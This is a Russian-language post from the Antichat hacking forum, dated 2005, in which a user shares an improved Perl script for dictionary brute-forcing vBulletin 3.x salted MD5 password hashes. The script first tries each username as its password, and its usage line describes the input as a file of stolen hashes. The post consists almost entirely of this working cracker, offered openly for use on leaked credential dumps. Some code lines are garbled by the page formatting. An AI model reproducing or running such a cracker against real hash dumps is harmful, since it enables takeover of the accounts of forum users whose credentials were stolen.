ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #3  
Старый 26.12.2005, 15:52
Аватар для DetMyl
DetMyl
Участник форума
Регистрация: 17.12.2005
Сообщений: 121
Провел на форуме:
551495

Репутация: 227
По умолчанию

Немного улучшил скрипт: теперь по-умолчению проверяется имя пользователя как пароль, и при нахождении пароля скрипт сразу переходит к следующему хэшу.
PHP код:
# This is a very simple perl brutforcer for vBulletin 3.x MD5 hashes.
# For usage you need a dictionary file and file with hashes (:-))
# Hashes have to be in this form: "username:hash:salt"
# Good Luck!
#
#
# (c)DetMyl 17.12.2005, Detmyl@bk.ru



if (@ARGV 2)
 {
 print 
q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 
Usageperl vB_hash.pl [dictionary file] [username:hash:salt file
 
I.e. : perl vB_hash.pl someBigDitionary.dic spizhzhenyeHashy.md5
 
+++++++++++++++++++++++++++++++++++++++++++++++++++
           );
 exit;
 }

 use 
Digest::MD5 'md5_hex';

 
$dictfile $ARGV[0];
 
$hashSaltFile = ($ARGV[1ne '') ? $ARGV[1] : $ARGV[0];
    
  
open (HASHFILE$hashSaltFile) || die "couldn't open the file $hashSaltFile";
   

   while (
$hashes = <HASHFILE>) {
       (
$user,$hash,$salt) = split(/:/, $hashes);
        
$salt =~ s/\n//;
        
if ( $hash eq md5_hex(md5_hex($user).$salt)) { print "FOUND!!! user: ".$user." pass:".$user."\n";next#check with username
        
open (DICTFILE$dictfile) || die "couldn't open the file $dictfile";
       while (
$words = <DICTFILE>) {
            
$words =~ s/\n//;
                
if ( $hash eq md5_hex(md5_hex($words).$salt)) { print "FOUND!!! user: ".$user." pass:".$words."\n"last;}
                            
        }
      
close(DICTFILE);
      
      }
   
close(HASHFILE); 
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
vBulletin Version 3.0.7 Enter.beta Форумы 9 11.11.2005 01:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ